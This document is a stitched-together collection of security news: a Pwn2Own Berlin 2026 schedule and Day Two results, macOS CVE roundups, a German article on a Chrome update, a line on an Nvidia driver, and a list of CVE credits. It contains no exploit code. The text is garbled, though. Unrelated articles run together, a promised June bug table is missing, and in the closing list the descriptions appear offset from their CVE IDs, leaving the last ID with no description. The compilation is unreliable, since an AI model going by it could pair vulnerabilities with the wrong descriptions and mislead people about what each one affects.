Earlier today, we held the random draw to determine attempt order. Below is the official schedule. All times are Berlin local time (CET) and may change as the competition progresses. Check back for live updates.

In case you missed it, you can watch the draw here.

Jump to:

Day One

Day Two

Day Three

DAY ONE

Thursday, May 14 - 1030

chompie of IBM X-Force Offensive Research (XOR) targeting NV Container Toolkit in the NVIDIA category for a total of $50,000 and 5 Master of Pwn points

Le Duc Anh Vu ( @vulda ) of Viettel Cyber Security (@vcslab) targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Orange Tsai (@orange_8361) of DEVCORE Research Team (@d3vc0r3) targeting Microsoft Edge – Sandbox Escape in the Web Browser category for a total of $175,000 and 17.5 Master of Pwn points

Thursday, May 14 - 1130

k3vg3n targeting LiteLLM in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Satoki Tsuji (@satoki00) / Ikotas Labs, Inc. targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points

Thursday, May 14 - 1300

Angelboy (@scwuaptx) of DEVCORE Research Team and TwinkleStar03 (@_twinklestar03), working with DEVCORE Internship Program targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Park Jae Min (@hiariz) targeting Oracle Autonomous AI Database in the AI Database category for a total of $40,000 and 4 Master of Pwn points

Thursday, May 14 - 1400

Satoki Tsuji (@satoki00) / Ikotas Labs, Inc. targeting LiteLLM in the Local Inference category for a total of $40,000 and 4 Master of Pwn points.

Yoseop kim(@pwning_me) targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points

Thursday, May 14 - 1500

Ben Koo (@kiddo_pwn) of Team DDOS targeting Mozilla Firefox – Renderer Only in the Web Browser category for a total of $50,000 and 5 Master of Pwn points

Interrupt Labs targeting NV Container Toolkit in the NVIDIA category for a total of $50,000 and 5 Master of Pwn points

Thursday, May 14 - 1530

maitai (@MaitaiThe) of Doyensec (@Doyensec) targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Thursday, May 14 - 1600

Billy (@st424204), Pan Zhenpeng(@Peterpan980927), Weiming Shi (@bestswngs) of STARLabs SG (@starlabs_sg) targeting LM Studio in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Marcin Wiązowski targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Thursday, May 14 - 1630

haehae (@haehaeYang) of Out Of Bounds targeting Chroma in the AI Database category for a total of $20,000 and 2 Master of Pwn points

Thursday, May 14 - 1730

chompie of IBM X-Force Offensive Research (XOR) targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Yoseop Kim(@pwning_me) targeting Mozilla Firefox – Renderer Only in the Web Browser category for a total of $50,000 and 5 Master of Pwn points

Thursday, May 14 - 1800

@rewhiles of Viettel Cyber Security (@vcslab) targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Thursday, May 14 - 1830

Kentaro Kawane of GMO Cybersecurity by Ierae targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Qrious Secure (@qriousec) targeting LM Studio in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Thursday, May 14 - 1900

haehae (@haehaeYang) of Out of Bounds targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points

Back to top

DAY TWO

Friday, May 15 - 1030

Ben Koo (@kiddo_pwn) of Team DDOS targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Stephen Fewer (Rapid7) targeting Microsoft SharePoint in the Server category for a total of $100,000 and 10 Master of Pwn points

Tao Yan (@Ga1ois) and Edouard Bochin (@le_douds) from Palo Alto Networks targeting Apple Safari – Renderer Only in the Web Browser category for a total of $75,000 and 7.5 Master of Pwn points

Friday, May 15 - 1130

Le Duc Anh Vu ( @vulda ) of Viettel Cyber Security (@vcslab) targeting Cursor in the Coding Agent category for a total of $30,000 and 3 Master of Pwn points

Nikolaos Mourousias (@deltaclock), Caue Obici (@caueobici) and Bruno Halltari (@BrunoModificato) of OtterSec targeting LM Studio in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam). targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Friday, May 15 - 1300

Ruitong from the Abstract Team at the University of Colorado Boulder targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Friday, May 15 - 1330

Kiyong Kwak of Kakaogames and Song Nuri of Samsung Electronics targeting Apple Safari – Renderer Only in the Web Browser category for a total of $75,000 and 7.5 Master of Pwn points

Orange Tsai (@orange_8361) of DEVCORE Research Team targeting Microsoft Exchange in the Server category for a total of $200,000 and 20 Master of Pwn points

Friday, May 15 - 1400

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam). targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Friday, May 15 - 1430

Billy (@st424204), Bruce Chen(@bruce30262), Pan Zhenpeng(@Peterpan980927), Weiming Shi (@bestswngs ) of STARLabs SG (@starlabs_sg) targeting Megatron Bridge in the NVIDIA category for a total of $20,000 and 2 Master of Pwn points

David Tae, Louis Hur of Out Of Bounds targeting Ollama in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Friday, May 15 - 1530

Team: Alon Ben Tsur (@iamgweej), Yahav Azran (@_yahav) targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Friday, May 15 - 1600

@rewhiles of Viettel Cyber Security (@vcslab) targeting Mozilla Firefox – Renderer Only in the Web Browser category for a total of $50,000 and 5 Master of Pwn points

Siyeon Wi targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Friday, May 15 - 1630

Byung Young Yi (@yibarrack) of Out Of Bounds targeting LiteLLM in the Local Inference category for a total of $40,000 and 4 Master of Pwn points

Friday, May 15 - 1700

Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) targeting Cursor in the Coding Agent category for a total of $30,000 and 3 Master of Pwn points

Friday, May 15 - 1800

Daniel Cohen Hillel (@0xDACA) targeting NV Container Toolkit in the NVIDIA category for a total of $50,000 and 5 Master of Pwn points

Back to top

DAY THREE

Saturday, May 16 - 1100

Le Tran Hai Tung (@tacbliw), dungnm (@dungnm_) and hieuvd (@gr4ss341) of Viettel Cyber Security (@vcslab) targeting Microsoft Windows 11 in the Local Escalation of Privilege category for a total of $30,000 and 3 Master of Pwn points

Satoki Tsuji (@satoki00) / Ikotas Labs, Inc. targeting OpenAI Codex in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam). targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Saturday, May 16 - 1330

Emanuele Barbeno, Cyrill Bannwart, Yves Bieri, Lukasz D., Urs Mueller of Compass Security (@compasssecurity) targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Hyunwoo Kim (@v4bel) targeting Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category for a total of $20,000 and 2 Master of Pwn points

Team: Giuseppe Calì (@_gcali) of Summoning Team targeting VMware ESXi in the Virtualization category with the Cross-tenant Code Execution Addon add-on for a total of $200,000 and 20 Master of Pwn points

Saturday, May 16 - 1430

splitline (@_splitline_) of DEVCORE Research Team targeting Microsoft SharePoint in the Server category for a total of $100,000 and 10 Master of Pwn points

Saturday, May 16 - 1600

Byung Young Yi (@yibarrack) of Out Of Bounds targeting Anthropic Claude Code in the Coding Agent category for a total of $40,000 and 4 Master of Pwn points

Nguyen Hoang Thach (@hi_im_d4rkn3ss) of STARLabs SG (@starlabs_sg) targeting VMware ESXi in the Virtualization category with the Cross-tenant Code Execution Addon add-on for a total of $200,000 and 20 Master of Pwn points

Follow the action live! We’ll be posting real-time updates and results throughout the competition on our blog and across social media. Stay up to date by following us on Twitter, Mastodon, LinkedIn, and Bluesky, and join the conversation using #Pwn2Own Berlin and #P2OBerlin for continuous coverage. 

For May 2026, Apple released 82 unique CVEs across the three macOS versions: 79 for macOS Tahoe 26.5, 45 for macOS Sequoia 15.7.7, and 42 for macOS Sonoma 14.8.7. Since Apple doesn’t provide CVSS scores or other severity information, we’re left to speculate on which of these bugs is the most severe. However, there are a couple that stand out.

-              CVE-2026-28819 (Wi-Fi) stands out as the strongest candidate for the most severe as it states, “An app may be able to execute arbitrary code with kernel privileges.” The combination of arbitrary code execution at the kernel level is about as bad as it gets on a severity scale. Plus, it affects all three macOS versions (Tahoe, Sequoia, and Sonoma).

-              CVE-2026-43668 (mDNSResponder) also piques my interest since, “A remote attacker may be able to cause unexpected system termination or corrupt kernel memory.” The remote attack vector with kernel memory corruption on all three OS versions makes this a serious one, especially since mDNSResponder is always running.

-              CVE-2026-28972 (Kernel) This one states that “An app may be able to cause unexpected system termination or write kernel memory.” An out-of-bounds write directly into kernel memory on all three OS versions. This one may also have implications in the upcoming Pwn2Own Berlin contest.

Here’s a look at all the bugs released by Apple this month:

CVE ID	Component	Impact	macOS Tahoe 26.5	macOS Sequoia 15.7.7	macOS Sonoma 14.8.7
CVE-2026-28991	Accelerate	An app may be able to cause a denial-of-service	Yes	No	No
CVE-2026-28988	Accounts	An app may be able to bypass certain Privacy preferences	Yes	No	No
CVE-2026-28959	APFS	An app may be able to cause unexpected system termination	Yes	Yes	Yes
CVE-2026-28995	App Intents	A malicious app may be able to break out of its sandbox	Yes	No	No
CVE-2026-1837	AppleJPEG	Processing a maliciously crafted image may lead to a denial-of-service	Yes	No	No
CVE-2026-28956	AppleJPEG	Processing a maliciously crafted media file may lead to unexpected app termination or corrupt process memory	Yes	Yes	Yes
CVE-2026-39869	Audio	Processing an audio stream in a maliciously crafted media file may terminate the process	Yes	Yes	Yes
CVE-2026-28922	CoreMedia	An app may be able to access private information	Yes	Yes	Yes
CVE-2026-28936	CoreServices	Processing a maliciously crafted file may lead to unexpected app termination	Yes	No	Yes
CVE-2026-28918	CoreSymbolication	Parsing a maliciously crafted file may lead to an unexpected app termination	Yes	No	No
CVE-2026-28878	Crash Reporter	An app may be able to enumerate a user's installed apps	No	Yes	No
CVE-2026-28915	CUPS	An app may be able to gain root privileges	Yes	Yes	Yes
CVE-2026-43659	FileProvider	An app may be able to access sensitive user data	Yes	Yes	Yes
CVE-2026-28923	GPU Drivers	A malicious app may be able to break out of its sandbox	Yes	Yes	Yes
CVE-2026-28925	HFS	An app may be able to cause unexpected system termination or write kernel memory	Yes	Yes	Yes
CVE-2025-43524	Icons	An app may be able to break out of its sandbox	No	Yes	Yes
CVE-2026-43661	ImageIO	Processing a maliciously crafted image may corrupt process memory	Yes	No	No
CVE-2026-28977	ImageIO	Processing a maliciously crafted file may lead to unexpected app termination	Yes	Yes	Yes
CVE-2026-28990	ImageIO	Processing a maliciously crafted image may corrupt process memory	Yes	Yes	Yes
CVE-2026-28978	Installer	A malicious app may be able to break out of its sandbox	Yes	Yes	Yes
CVE-2026-28992	IOHIDFamily	An attacker may be able to cause unexpected app termination	Yes	Yes	Yes
CVE-2026-28943	IOHIDFamily	An app may be able to determine kernel memory layout	Yes	Yes	Yes
CVE-2026-28969	IOKit	An app may be able to cause unexpected system termination	Yes	Yes	Yes
CVE-2026-43655	IOSurfaceAccelerator	An app may be able to cause unexpected system termination or read kernel memory	Yes	No	No
CVE-2026-43654	Kernel	An app may be able to disclose kernel memory	Yes	Yes	Yes
CVE-2026-28908	Kernel	An app may be able to modify protected parts of the file system	Yes	Yes	Yes
CVE-2026-28954	Kernel	A maliciously crafted disk image may bypass Gatekeeper checks	Yes	Yes	Yes
CVE-2026-28897	Kernel	A local user may be able to cause unexpected system termination or read kernel memory	Yes	Yes	Yes
CVE-2026-28952	Kernel	An app may be able to cause unexpected system termination	Yes	Yes	Yes
CVE-2026-28951	Kernel	An app may be able to gain root privileges	Yes	Yes	Yes
CVE-2026-28972	Kernel	An app may be able to cause unexpected system termination or write kernel memory	Yes	Yes	Yes
CVE-2026-28986	Kernel	An app may be able to cause unexpected system termination	Yes	Yes	Yes
CVE-2026-28987	Kernel	An app may be able to leak sensitive kernel state	Yes	Yes	Yes
CVE-2026-28983	LaunchServices	A remote attacker may be able to cause a denial of service	Yes	No	No
CVE-2026-28929	Mail Drafts	Replying to an email could display remote images in Mail in Lockdown Mode	Yes	Yes	Yes
CVE-2026-43653	mDNSResponder	An attacker on the local network may be able to cause a denial-of-service	Yes	No	Yes
CVE-2026-28985	mDNSResponder	An attacker on the local network may be able to cause a denial-of-service	Yes	No	No
CVE-2026-43668	mDNSResponder	A remote attacker may be able to cause unexpected system termination or corrupt kernel memory	Yes	Yes	Yes
CVE-2026-43666	mDNSResponder	An attacker on the local network may be able to cause a denial-of-service	Yes	Yes	Yes
CVE-2026-28941	Model I/O	Processing a maliciously crafted file may lead to a denial-of-service or potentially disclose memory contents	Yes	Yes	No
CVE-2026-28940	Model I/O	Processing a maliciously crafted image may corrupt process memory	Yes	Yes	No
CVE-2026-28961	Network Extensions	An attacker with physical access to a locked device may be able to view sensitive user information	Yes	No	No
CVE-2026-28906	Networking	An attacker may be able to track users through their IP address	Yes	Yes	Yes
CVE-2026-28840	PackageKit	An app may be able to gain root privileges	No	Yes	Yes
CVE-2026-43656	Quick Look	Parsing a maliciously crafted file may lead to an unexpected app termination	Yes	Yes	Yes
CVE-2026-43652	Sandbox	An app may be able to access protected user data	Yes	No	No
CVE-2026-39870	SceneKit	Processing a maliciously crafted image may corrupt process memory	Yes	Yes	Yes
CVE-2026-28846	SceneKit	A remote attacker may be able to cause unexpected app termination	Yes	Yes	Yes
CVE-2026-28993	Shortcuts	An app may be able to access user-sensitive data	Yes	Yes	Yes
CVE-2026-28848	SMB	A remote attacker may be able to cause unexpected system termination	Yes	Yes	No
CVE-2026-28930	Spotlight	An app may be able to access protected user data	Yes	No	No
CVE-2026-28974	Spotlight	An app may be able to cause a denial-of-service	Yes	Yes	No
CVE-2026-28996	Storage	An app may be able to access sensitive user data	Yes	Yes	Yes
CVE-2026-28919	StorageKit	An app may be able to gain root privileges	Yes	Yes	Yes
CVE-2026-28924	Sync Services	An app may be able to access Contacts without user consent	Yes	Yes	Yes
CVE-2026-39871	TV App	An app may be able to observe unprotected user data	Yes	Yes	Yes
CVE-2026-28976	UserAccountUpdater	An app may be able to gain root privileges	Yes	No	No
CVE-2026-43660	WebKit	Processing maliciously crafted web content may prevent Content Security Policy from being enforced	Yes	No	No
CVE-2026-28907	WebKit	Processing maliciously crafted web content may prevent Content Security Policy from being enforced	Yes	No	No
CVE-2026-28962	WebKit	Processing maliciously crafted web content may disclose sensitive user information	Yes	No	No
CVE-2026-43658	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	No	No
CVE-2026-28905	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28847	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28904	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28955	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28903	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28953	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28902	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28901	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28913	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28883	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28958	WebKit	An app may be able to access sensitive user data	Yes	No	No
CVE-2026-28917	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28947	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	No	No
CVE-2026-28946	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	No	No
CVE-2026-28942	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	No	No
CVE-2026-28971	WebKit	A malicious iframe may use another website's download settings	Yes	No	No
CVE-2026-28944	WebRTC	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	No	No
CVE-2026-28819	Wi-Fi	An app may be able to execute arbitrary code with kernel privileges	Yes	Yes	Yes
CVE-2026-28994	Wi-Fi	An attacker in a privileged network position may be able to perform denial-of-service attack using crafted Wi-Fi packets	Yes	Yes	Yes
CVE-2026-28914	zip	A maliciously crafted ZIP archive may bypass Gatekeeper checks	Yes	No	No
CVE-2026-28920	zlib	Visiting a maliciously crafted website may leak sensitive data	Yes	Yes	Yes

We’ll continue these macOS updates if people find them useful. Stay tuned for the regularly schedule Patch Tuesday blog covering Adobe and Microsoft.

Following an action-packed Day One where $523,000 was awarded for 24 unique 0-day vulnerabilities, Day Two added another $385,750 and 15 unique 0-days, bringing event totals to $908,750 with 39 unique vulnerabilities overall. DEVCORE holds a commanding lead for Master of Pwn with 40.5 points and $405,000, but with one day still to go, anything can happen. Here are the standings as of Day Two but we'll see what the final day of the contest brings. Stay tuned!

We’ll be posting real-time updates and results throughout the competition right here on our blog and across social media. Stay up to date by following us on Twitter, Mastodon, LinkedIn, and Bluesky, and join the conversation using #Pwn2Own Berlin and #P2OBerlin for continuous coverage. 

FAILURE - Unfortunately, Tao Yan & Edouard Bochin of Palo Alto Networks could not get their exploit of Apple Safari – Renderer Only working within the time allotted.

FAILURE - Unfortunately, Stephen Fewer of Rapid7 could not get their exploit of Microsoft SharePoint working within the time allotted.

SUCCESS - Ben Koo (@kiddo_pwn) of Team DDOS used a use-after-free bug to escalate privileges on Red Hat Enterprise Linux for Workstations in the second round, earning $10,000 and 1 Master of Pwn point.

SUCCESS - Dialed in! Nikolaos Mourousias (@deltaclock), Caue Obici (@caueobici) & Bruno Halltari (@BrunoModificato) of OtterSec used a Code Injection bug to exploit LM Studio in the second round, earning $20,000 and 4 Master of Pwn points. Full win!

COLLISON - Although successful on stage, Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) targeting Claude Desktop in the Coding Agent category used a bug that was previously known. They still earn $10,000 and 2 Master of Pwn points.

SUCCESS - Le Duc Anh Vu (@vulda17) of Viettel Cyber Security (@vcslab) exploited Cursor, earning $30,000 and 3 Master of Pwn points. Full win!

WITHDRAWAL - Kiyong Kwak of Kakaogames and Song Nuri of Samsung Electronics has withdrawn their entry for Apple Safari – Renderer Only in the Web Browser category.

FAILURE - Unfortunately, Ruitong of Abstract Team, University of Colorado Boulder could not get their exploit of Red Hat Enterprise Linux for Workstations working within the time allotted.

SUCCESS - Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) exploited OpenAI Codex in the second round, earning $20,000 and 4 Master of Pwn points.

COLLISON - Although successful on stage, Billy (@st424204), Bruce Chen (@bruce30262), Pan Zhenpeng (@Peterpan980927) & Weiming Shi (@bestswngs) of STARLabs SG (@starlabs_sg) targeting NVIDIA Megatron Bridge used a bug that was previously known. They still earn $2,500 and 1 Master of Pwn point.

WITHDRAWAL - Alon Ben Tsur (@iamgweej), Yahav Azran (@_yahav) have withdrawn their entry for Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category.

SUCCESS - Orange Tsai (@orange_8361) of DEVCORE Research Team chained 3 bugs to achieve Remote Code Execution as SYSTEM on Microsoft Exchange, earning $200,000 and 20 Master of Pwn points.

SUCCESS / COLLISON - David Tae & Louis Hur of Out Of Bounds targeted Ollama, hitting a one-vulnerability collision with a previous attempt and earning $28,000 and 3 Master of Pwn points.

FAILURE - Nguyen Thanh Dat (@rewhiles) of Viettel Cyber Security (@vcslab) could not get their exploit of Mozilla Firefox – Renderer Only working within the time allotted.

SUCCESS - Cyrill Bannwart, Emanuele Barbeno, Yves Bieri, Lukasz D., Urs Mueller (@compasssecurity) of Compass Security exploited Cursor in the second round, earning $15,000 and 3 Master of Pwn points.

SUCCESS - Siyeon Wi used an integer overflow bug to escalate privileges on Microsoft Windows 11 in the fourth round, earning $7,500 and 3 Master of Pwn points.

SUCCESS / COLLISON - Byung Young Yi (@yibarrack) of Out Of Bounds targeted LiteLLM, hitting a one-vulnerability collision with a previous attempt and earning $17,750 and 3.75 Master of Pwn points.

SUCCESS - Confirmed! 0xDACA (@0xDACA) & Noam Trobishi (@NTrobishi) used a use-after-free bug to exploit NV Container Toolkit in the second round, earning $25,000 and 5 Master of Pwn points.

For Jun 2026, Apple released 37 unique CVEs across iOS 26.5.2 / iPadOS 26.5.2, macOS Tahoe 26.5.2, Safari 26.5.2. Since Apple doesn’t provide CVSS scores or other severity information, we’re left to speculate on which of these bugs is the most severe. The overwhelming majority (31 of 37) are WebKit/WebRTC bugs reachable through malicious web content. Most of those are crash/DoS bugs rather than code execution, so the real risk lives in the small set of kernel bugs and the handful of WebKit sandbox escapes. However, there are a couple that stand out.

-    CVE-2026-43724 (Kernel) – According to Apple, “An app may be able to cause unexpected system termination or write kernel memory.” A kernel memory write is the highest-value primitive here: it's the privilege-escalation half of a full exploit chain and leads to complete device control. The bug was credited to Hyunwoo Kim (@v4bel), who is known to be a serious kernel researcher.

-    CVE-2026-39868 (Kernel) – Another kernel bug, this one could “cause unexpected system termination or corrupt kernel memory.” This is kernel memory corruption, and notably credited to a roster of elite offensive researchers (STAR Labs, Positive Technologies, Baidu Security). This kind of attribution usually signals a weaponizable, possibly Pwn2Own-grade bug rather than a theoretical crash.

-    CVE-2026-43725 / CVE-2026-43701 (WebKit) – Apple states these bugs could allow a website to process restricted web content outside the sandbox. I'm flagging this sandbox-escape pair over the many WebKit crash bugs because a sandbox escape is the bridge that turns a web-content bug into a path toward the kernel issues above. It's the most dangerous remotely-triggered class in the release.

Here’s a look at all the bugs released by Apple this month:

We’ll continue these macOS updates if people find them useful. Stay tuned for the regularly schedule Patch Tuesday blog covering Adobe and Microsoft.

Google hat vier Sicherheitslücken in Chrome geschlossen, die das Unternehmen jeweils mit einem hohen Gefährdungspotenzial einstuft und die verschiedene Bereiche des Browsers betreffen. Das Einspielen des Updates wird daher dringend empfohlen, die bereinigten Versionen stehen ab sofort bereit.

In den neuen Chrome-Versionen 150.0.7871.186/187 für Windows und macOS sowie 150.0.7871.186 für Linux vom 23. Juli haben die Entwickler vier Schwachstellen beseitigt. Keine der geschlossenen Lücken wird laut Google bislang für Angriffe ausgenutzt. Diese Aktualisierung folgt nur zwei Tage nach dem vorherigen Chrome-Update. Die Hersteller anderer Chromium-basierter Browser werden in Kürze nachziehen.

Im Chrome Release Blog führt Daniel Yip vier beseitigte Sicherheitslücken auf, die Google alle selbst entdeckt hat. Die Schwachstellen CVE-2026-16804 bis -16807 sind als hohes Risiko ausgewiesen. Drei der vier Anfälligkeiten sind Use-after-free-Lücken (UAF) in verschiedenen Komponenten, namentlich Input, Blink und WebMCP (Web Model Context Protocol, eine Schnittstelle für „KI“-Agenten). Das Problem bei CVE-2026-16807 ist hingegen ein unzulässiger Schreibzugriff auf Speicherbereiche außerhalb der vorgesehenen Grenzen (out of bounds write) in der Codecs-Komponente.

▶Die neuesten Sicherheits-Updates

Erst am 21. Juli hat Google ein Update bereitgestellt und damit 12 Sicherheitslücken geschlossen. In aller Regel aktualisiert sich Chrome automatisch, wenn eine neue Version verfügbar ist. Mit dem Menü-Eintrag » Hilfe » Über Google Chrome können Sie die Update-Prüfung manuell anstoßen.

Google hat am 23. Juli auch Chrome für Android 150.0.7871.181 veröffentlicht. In der Android-Version sind die gleichen Schwachstellen beseitigt wie in den Desktop-Ausgaben. Der Extended Stable Channel für Windows und macOS enthält nun die Chromium-Version 150.0.7871.187. Die Freigabe der Chrome-Version 151 ist für den 28. Juli geplant.

Tipp: Unabhängig davon, dass Sie Ihren Browser stets aktuell halten, sollten Sie die Sicherheit Ihres PCs zusätzlich mit geeigneter Antivirus-Software verbessern. Gute Antivirus-Lösungen stellen wir in „Die besten Antivirus-Programme im Test: So schützen Sie Ihren Windows-PC“ vor. Falls Sie großen Wert auf anonymes Surfen legen, sind wiederum gute VPN-Programme einen Blick wert.

Andere Chromium-basierte Browser

Die Hersteller anderer auf Chromium basierender Browser sind nun wieder gefordert, mit Updates nachzuziehen. Microsoft Edge, Brave und Vivaldi sind auf dem Sicherheitsstand vor dem zweiten Chrome-Update dieser Woche. Opera hat zwar am 23. Juli ein Bugfix-Update veröffentlicht, ist jedoch mit seiner Browser-Version 133 in puncto Sicherheit weiterhin auf einem Holzweg unterwegs. Darin ist die veraltete Chromium-Ausgabe 149.0.7827.201 vom 25. Juni verbaut und für Chromium 149 liefert Google seitdem keine Updates mehr.

Der Nvidia GeForce Hotfix-Treiber 610.82 behebt Fehler in zwei Spielen: Halo: Combat Evolved läuft auf RTX-50-Grafikkarten nun stabiler und Path of Exile 2 sollte bei langen Spielsessions unter DirectX 12 keine Aussetzer mehr zeigen. Ein Problem mit Battlefield 6 besteht jedoch weiterhin.

Thomas Rinsma discovered that a type check was missing when handling fonts in PDF.js, which would allow arbitrary JavaScript execution in the PDF.js context.

CVE-2026-28847

DARKNAVY, an anonymous researcher and Daniel Rhea discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-28883

Kwak Kiyong discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-28901

Joshua Rogers, Luigino Camastra, Igor Morgenstern, Guido Vranken, Maher Azzouzi and Ngan Nguyen discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-28902

Tristan Madani and Nathaniel Oh discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-28903

Mateusz Krzywicki discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-28904

Luka Racki discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-28905

Yuhao Hu, Yuanming Lai, Chenggang Wu, and Zhe Wang discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-28907

Cantina discovered that processing maliciously crafted web content may prevent Content Security Policy from being enforced.

CVE-2026-28942

Milad Nasr and Nicholas Carlini discovered that processing maliciously crafted web content may lead to an unexpected Safari crash.

CVE-2026-28946

Gia Bui, dr3dd, and w0wbox discovered that processing maliciously crafted web content may lead to an unexpected Safari crash.

CVE-2026-28947

dr3dd discovered that processing maliciously crafted web content may lead to an unexpected Safari crash.

CVE-2026-28953

Maher Azzouzi discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-28955

wac and Kookhwan Lee discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-28958

Cantina discovered that an app may be able to access sensitive user data.

CVE-2026-39872

Utkarsh Pal and Ignacio Sanmillan discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-43658

Do Young Park discovered that processing maliciously crafted web content may lead to an unexpected Safari crash.

CVE-2026-43660

Cantina discovered that processing maliciously crafted web content may prevent Content Security Policy from being enforced.

CVE-2026-43663

Soyeon Park, Amy Burnett, Khai Tran, sherkito, Kota Toda, HexRabbit, NiNi, Tristan Madani and Brian Carpenter discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-43676

Mateusz Krzywicki, dr3dd, and Tommy DeVoss discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-43699

Tommy DeVoss discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-43701

Aaron Grattafiori discovered that a malicious website may be able to process restricted web content outside the sandbox.

CVE-2026-43705

dr3dd discovered that processing maliciously crafted web content may lead to memory corruption.

CVE-2026-43707

Amy Burnett discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-43712

Kwak Kiyong, Song Nuri, and Tristan Madani discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-43713

Jody Ritonga discovered that visiting a website may leak sensitive data.

CVE-2026-43715

Milad Nasr and Nicholas Carlini discovered that processing maliciously crafted web content may lead to memory corruption.

CVE-2026-43716

Tuan, Duc, Amy Burnett and Evan Lambert discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-43720

Gia Bui and Josef Korbel discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-43721

Idan Masas discovered that a malicious website may be able to silently hijack clipboard data.

CVE-2026-43725

Luke Francis discovered that a malicious website may be able to process restricted web content outside the sandbox.

CVE-2026-43726

Josef Korbel, Tristan Madani, Gia Bui and Narendra Singh discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-43727

Tommy DeVoss, Gia Bui and Gurpreet Shergill discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-43731

dr3dd discovered that processing maliciously crafted web content may lead to memory corruption.

CVE-2026-43732

Nan Wang discovered that processing maliciously crafted web content may disclose sensitive user information.

CVE-2026-43734

Jonathan Alush-Aben discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-43740

Nathaniel Oh and Arni Hardarson discovered that processing maliciously crafted web content may result in the disclosure of process memory.

CVE-2026-43742

Yulia Mertsalova discovered that processing maliciously crafted web content may lead to an unexpected process crash.

CVE-2026-43745

